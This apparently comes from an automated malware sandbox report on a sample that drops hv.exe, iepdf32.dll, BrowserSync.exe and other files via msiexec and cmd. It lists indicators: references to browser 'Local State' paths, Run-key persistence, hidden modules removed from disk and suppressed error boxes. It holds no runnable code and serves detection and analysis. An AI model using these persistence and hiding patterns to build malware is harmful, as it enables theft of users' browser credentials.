Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382779317.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2363632058.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2404392590.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2449111501.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2426203023.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2318257220.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\Local State<$ source: BrowserSync.exe, 0000000D.00000003.2223587346.0000000002EDB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\Local State source: BrowserSync.exe, 0000000D.00000003.2520670917.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2547829303.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382779317.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2611783328.0000000002E72000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2552423062.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2363632058.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2404392590.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2449111501.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2426203023.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2513715789.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2512944879.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2523269770.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2318257220.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2597013306.0000000002E76000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: `\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State2 source: BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227337735.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225793499.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226146685.0000000002E55000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: l\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb<A source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227337735.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225793499.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226146685.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbYA} source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: od.pdb\Local State source: BrowserSync.exe, 0000000D.00000002.2646067446.0000000002E71000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2614399342.0000000002E71000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: V\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831D source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: BrowserSync.exe
Source:	Binary string: \\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831( source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb( source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb$ source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: XC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831v source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: AC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\be\Acrobat\DCo source: BrowserSync.exe, 0000000D.00000003.2520670917.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2547829303.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382779317.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2611783328.0000000002E72000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2552423062.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2363632058.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2404392590.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2449111501.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2426203023.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2513715789.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2646067446.0000000002E71000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2512944879.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2523269770.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2614399342.0000000002E71000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2318257220.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2597013306.0000000002E76000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbHS source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp

Source: bqjgdd.4.dr	Static PE information: real checksum: 0x27acf1 should be: 0x27a600
Source: iepdf32.dll.2.dr	Static PE information: real checksum: 0x460121 should be: 0x464717
Source: iepdf32.dll.1.dr	Static PE information: real checksum: 0x460121 should be: 0x464717
Source: mefglukvu.11.dr	Static PE information: real checksum: 0x27acf1 should be: 0x27a600

Source: hv.exe.1.dr	Static PE information: section name: .didata
Source: iepdf32.dll.1.dr	Static PE information: section name: .00cfg
Source: iepdf32.dll.1.dr	Static PE information: section name: malloc_h
Source: hv.exe.2.dr	Static PE information: section name: .didata
Source: iepdf32.dll.2.dr	Static PE information: section name: .00cfg
Source: iepdf32.dll.2.dr	Static PE information: section name: malloc_h
Source: BrowserSync.exe.4.dr	Static PE information: section name: Shared
Source: bqjgdd.4.dr	Static PE information: section name: .xdata
Source: bqjgdd.4.dr	Static PE information: section name: nlgn
Source: mefglukvu.11.dr	Static PE information: section name: .xdata
Source: mefglukvu.11.dr	Static PE information: section name: nlgn

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: 2_2_6CB6C57B push ecx; ret	2_2_6CB6C58E
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 3_2_6C34C57B push ecx; ret	3_2_6C34C58E
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Code function: 10_2_6C3EC57B push ecx; ret	10_2_6C3EC58E
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_0014E018 push ecx; retf	14_2_0014E029
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_0014C001 pushad ; retn 0014h	14_2_0014C111
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_0014CF02 pushad ; iretd	14_2_0014CF21
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_0014D97E pushad ; retf	14_2_0014DA1F
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_00148298 push ecx; retf	14_2_001482A9
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_0014FBE8 pushad ; retf	14_2_0014FBE9
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_001C9010 push ebx; iretd	14_2_001C9019
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_001CB911 push es; ret	14_2_001CB914
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Code function: 14_2_021B0CE9 push ebp; iretd	14_2_021B0CED

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	File created: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	File created: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\iepdf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\bqjgdd	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\Caret\iepdf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\mefglukvu	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\bqjgdd			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\mefglukvu			Jump to dropped file

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\BQJGDD
Source: C:\Windows\SysWOW64\cmd.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\MEFGLUKVU

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
